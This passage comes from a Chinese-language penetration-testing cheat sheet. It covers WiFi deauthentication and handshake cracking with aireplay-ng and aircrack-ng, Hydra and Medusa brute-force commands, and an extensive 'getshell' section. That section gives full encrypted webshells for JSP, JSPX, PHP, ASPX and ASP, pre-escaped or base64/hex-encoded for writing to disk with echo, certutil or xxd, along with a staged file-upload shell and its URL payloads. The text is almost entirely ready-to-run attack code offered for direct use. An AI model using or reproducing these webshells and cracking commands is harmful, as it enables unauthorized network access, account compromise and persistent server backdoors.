aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址 2927 | ``` 2928 | 2929 | 该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包! 2930 | 2931 | ![img](img/20181119164552615.png) 2932 | 2933 | 如果在监听窗口看到下面红色圈住的这些,就说明握手包抓取成功了(没抓到可以多试几次,直到抓包成功为止) 2934 | 2935 | ![img](img/20181119164947823.png) 2936 | 2937 | 我们可以看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件 2938 | 2939 | ![img](img/20181119165829983.png) 2940 | 2941 | 对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典! 2942 | 2943 | kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压 2944 | 2945 | ![img](img/20190519130854576.png) 2946 | 2947 | ![img](img/2019051913123037.png) 2948 | 2949 | ```python 2950 | aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址 2951 | ``` 2952 | 2953 | 可以看到,破解成功!该WIFI的密码为 www.123.com 2954 | 2955 | ![img](img/2018111916443643.png) 2956 | 2957 | 从最后可以看出,要想破解出WIFI的密码,还是得需要一个很强大的字典! 2958 | 2959 | 2960 | 2961 | 2962 | 2963 | 2964 | 2965 | ### 爆破攻击 2966 | 2967 | #### Hydra 2968 | 2969 | ``` 2970 | 参数: 2971 | -l 指定的用户名 -L 用户名字典 2972 | -p 指定密码 -P 密码字典 2973 | -s 指定端口 2974 | -o 输出文件 2975 | -t 任务数默认16 2976 | -f 爆破成功一个就停止 2977 | -v 报错日志详细 -V 攻击日志 2978 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql 2979 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4 2980 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv 2981 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V 2982 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV 2983 | >hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10 2984 | ``` 2985 | 2986 | #### Medusa 2987 | 2988 | ``` 2989 | 参数: 2990 | -h 目标名或IP -H 目标列表 2991 | -u 用户名 -U 用户名字典 2992 | -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程 2993 | -n 指定端口 -e ns 尝试空密码和用户名密码相同 2994 | >medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql 2995 | >medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql 2996 | ``` 2997 | 2998 | 2999 | 3000 | # getshell方法 3001 | 3002 | 3003 | 3004 | ## 利用JavaScript转写php 3005 | 3006 | https://xz.aliyun.com/t/9181 3007 | 3008 | 为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php 3009 | 3010 | ```sql 3011 | SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php'; 3012 | SELECT '' 3013 | ``` 3014 | 3015 | 访问11.php 就会生成shell.php 3016 | 这里的shell也是用了哥斯拉的免杀shell 3017 | 3018 | 3019 | 3020 | ## 命令执行写shell 3021 | 3022 | ``` 3023 | echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php 3024 | 3025 | echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php 3026 | 3027 | ``` 3028 | 3029 | 3030 | 3031 | https://www.anquanke.com/post/id/245019 3032 | 3033 | **Windows** 3034 | 3035 | 在windows主要的写入方法,我主要用以下两种: 3036 | 3037 | ``` 3038 | set /p=要写的内容 C:\11.txt 3039 | echo 要写的内容 > C:\11.txt 3040 | ``` 3041 | 3042 | 在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^” 3043 | 3044 | 下面以echo为例,写入冰蝎各脚本语言shell,其中需要转义的东西,我已经帮各位表哥转过了,拿来直接用即可: 3045 | 3046 | **(1)jsp** 3047 | 3048 | ``` 3049 | echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp 3050 | ``` 3051 | 3052 | **(2)jspx** 3053 | 3054 | ``` 3055 | echo ^^^ class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^^String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^^ > 111.jspx 3056 | ``` 3057 | 3058 | **(3)php** 3059 | 3060 | ``` 3061 | echo ^ > 111.php 3062 | ``` 3063 | 3064 | **(4)java9 jsp** 3065 | 3066 | ``` 3067 | echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp 3068 | ``` 3069 | 3070 | **(5)aspx** 3071 | 3072 | ``` 3073 | echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx 3074 | ``` 3075 | 3076 | **(6)asp** 3077 | 3078 | ``` 3079 | echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp 3080 | ``` 3081 | 3082 | 3083 | 3084 | **(1)certutil-Base64** 3085 | 3086 | ``` 3087 | echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 111.txt 3088 | 3089 | certutil -f -decode 111.txt C:\\111.jsp 3090 | ``` 3091 | 3092 | **(2)certutil-Hex** 3093 | 3094 | ``` 3095 | echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt 3096 | 3097 | certutil -decodehex 111.txt C:\\111.jsp 3098 | ``` 3099 | 3100 | **(b)Linux** 3101 | 3102 | 在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。 3103 | 3104 | **(1)jsp** 3105 | 3106 | ``` 3107 | echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' > 111.jsp 3108 | ``` 3109 | 3110 | **(2)jspx** 3111 | 3112 | ``` 3113 | echo ' class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);' > 111.jspx 3114 | ``` 3115 | 3116 | **(3)php** 3117 | 3118 | ``` 3119 | echo -e ' ' > 111.php 3120 | ``` 3121 | 3122 | **(4)aspx** 3123 | 3124 | ``` 3125 | echo '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' > 111.aspx 3126 | ``` 3127 | 3128 | **(5)asp** 3129 | 3130 | ``` 3131 | echo -e '<%\nResponse.CharSet = "UTF-8" \nk="e45e329feb5d925b" \nSession("k")=k\nsize=Request.TotalBytes\ncontent=Request.BinaryRead(size)\nFor i=1 To size\nresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))\nNext\nexecute(result)\n%>' > 111.asp 3132 | ``` 3133 | 3134 | **Linux** 3135 | 3136 | 和windows不同,linux在途中就已经转换完毕,落地文件已经成为shell。大部分玩家都是懒得转义shell中的字符,而使用下面的方法。主要也是分base64以及hex两种。 3137 | 3138 | **(1)jsp** 3139 | 3140 | ``` 3141 | echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= |base64 -d > 111.jsp 3142 | 3143 | echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e|xxd -r -ps > 111.jsp 3144 | ``` 3145 | 3146 | **(2)jspx** 3147 | 3148 | ``` 3149 | echo PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+|base64 -d > 111.jsp 3150 | 3151 | echo 3c6a73703a726f6f7420786d6c6e733a6a73703d22687474703a2f2f6a6176612e73756e2e636f6d2f4a53502f50616765222076657273696f6e3d22312e32223e3c6a73703a6469726563746976652e7061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a222f3e3c6a73703a6465636c61726174696f6e3e20636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d3c2f6a73703a6465636c61726174696f6e3e3c6a73703a7363726970746c65743e537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b3c2f6a73703a7363726970746c65743e3c2f6a73703a726f6f743e|xxd -r -ps > 111.jspx 3152 | ``` 3153 | 3154 | **(3)php** 3155 | 3156 | ``` 3157 | echo PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTtzZXNzaW9uX3N0YXJ0KCk7JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7JF9TRVNTSU9OWydrJ109JGtleTtzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7JHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSl7JHQ9ImJhc2U2NF8iLiJkZWNvZGUiOyRwb3N0PSR0KCRwb3N0LiIiKTtmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHskcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgfX1lbHNleyRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpO30kYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTskZnVuYz0kYXJyWzBdOyRwYXJhbXM9JGFyclsxXTtjbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319QGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Pz4K|base64 -d > 111.php 3158 | 3159 | echo 3c3f70687020406572726f725f7265706f7274696e672830293b73657373696f6e5f737461727428293b246b65793d2265343565333239666562356439323562223b245f53455353494f4e5b276b275d3d246b65793b73657373696f6e5f77726974655f636c6f736528293b24706f73743d66696c655f6765745f636f6e74656e747328227068703a2f2f696e70757422293b69662821657874656e73696f6e5f6c6f6164656428276f70656e73736c2729297b24743d226261736536345f222e226465636f6465223b24706f73743d24742824706f73742e2222293b666f722824693d303b24693c7374726c656e2824706f7374293b24692b2b29207b24706f73745b24695d203d2024706f73745b24695d5e246b65795b24692b312631355d3b207d7d656c73657b24706f73743d6f70656e73736c5f646563727970742824706f73742c2022414553313238222c20246b6579293b7d246172723d6578706c6f646528277c272c24706f7374293b2466756e633d246172725b305d3b24706172616d733d246172725b315d3b636c61737320437b7075626c69632066756e6374696f6e205f5f696e766f6b6528247029207b6576616c2824702e2222293b7d7d4063616c6c5f757365725f66756e63286e6577204328292c24706172616d73293b3f3ea|xxd -r -ps > 111.php 3160 | ``` 3161 | 3162 | **(4)aspx** 3163 | 3164 | ``` 3165 | echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SZWZsZWN0aW9uIiU+PCVTZXNzaW9uLkFkZCgiayIsImU0NWUzMjlmZWI1ZDkyNWIiKTtieXRlW10gayA9IEVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoU2Vzc2lvblswXSArICIiKSxjID0gUmVxdWVzdC5CaW5hcnlSZWFkKFJlcXVlc3QuQ29udGVudExlbmd0aCk7QXNzZW1ibHkuTG9hZChuZXcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmFnZWQoKS5DcmVhdGVEZWNyeXB0b3IoaywgaykuVHJhbnNmb3JtRmluYWxCbG9jayhjLCAwLCBjLkxlbmd0aCkpLkNyZWF0ZUluc3RhbmNlKCJVIikuRXF1YWxzKHRoaXMpOyU+|base64 -d > 111.aspx 3166 | 3167 | echo 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e|xxd -r -ps > 111.aspx 3168 | ``` 3169 | 3170 | **(5)asp** 3171 | 3172 | ``` 3173 | echo PCUKUmVzcG9uc2UuQ2hhclNldCA9ICJVVEYtOCIgCms9ImU0NWUzMjlmZWI1ZDkyNWIiClNlc3Npb24oImsiKT1rCnNpemU9UmVxdWVzdC5Ub3RhbEJ5dGVzCmNvbnRlbnQ9UmVxdWVzdC5CaW5hcnlSZWFkKHNpemUpCkZvciBpPTEgVG8gc2l6ZQpyZXN1bHQ9cmVzdWx0JkNocihhc2NiKG1pZGIoY29udGVudCxpLDEpKSBYb3IgQXNjKE1pZChrLChpIGFuZCAxNSkrMSwxKSkpCk5leHQKZXhlY3V0ZShyZXN1bHQpCiU+|base64 -d > 111.asp 3174 | ``` 3175 | 3176 | 3177 | 3178 | ### 二次法 3179 | 3180 | 对于二次法,就是先传一个文件上传的小“shell”,然后通过指定方式进行上传其他文件。有一个好处就是,它本身不是木马病毒,就是一个写入文件的功能脚本,所以一般杀毒不会杀,这样我们就可以随意上传了。 3181 | 3182 | **(a)JSP** 3183 | 3184 | GET类型 3185 | 3186 | **(1)god.jsp内容 (先遣部队)** 3187 | 3188 | ``` 3189 | <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 3190 | ``` 3191 | 3192 | **(2)写jsp shell** 3193 | 3194 | get类型写shell需要注意url编码。 3195 | 3196 | ``` 3197 | http://ip/god.jsp?f=111.jsp&t=<%25@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%25><%25!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%25><%25if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%25> 3198 | ``` 3199 | 3200 | **(3)写jspx shell** 3201 | 3202 | ``` 3203 | http://ip/god.jsp?f=111.jspx&t= class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")%2B"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); 3204 | ``` 3205 | 3206 | POST类型 3207 | 3208 | ``` 3209 | <%@ page language=”java” pageEncoding=”gbk”%> 3210 | 3211 | 3212 | 3213 | 3214 | 3215 | 3216 | <% int i=0;String method=request.getParameter(“act”);if(method!=null&&method.equals(“yoco”)){String url=request.getParameter(“url”);String text=request.getParameter(“smart”);File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%> 3217 | error 3218 | <%}}if(i==0){%> 3219 | ok 3220 | <%}%> 3221 | 3222 |
3223 | 3224 | " name="url">
3225 | 3226 |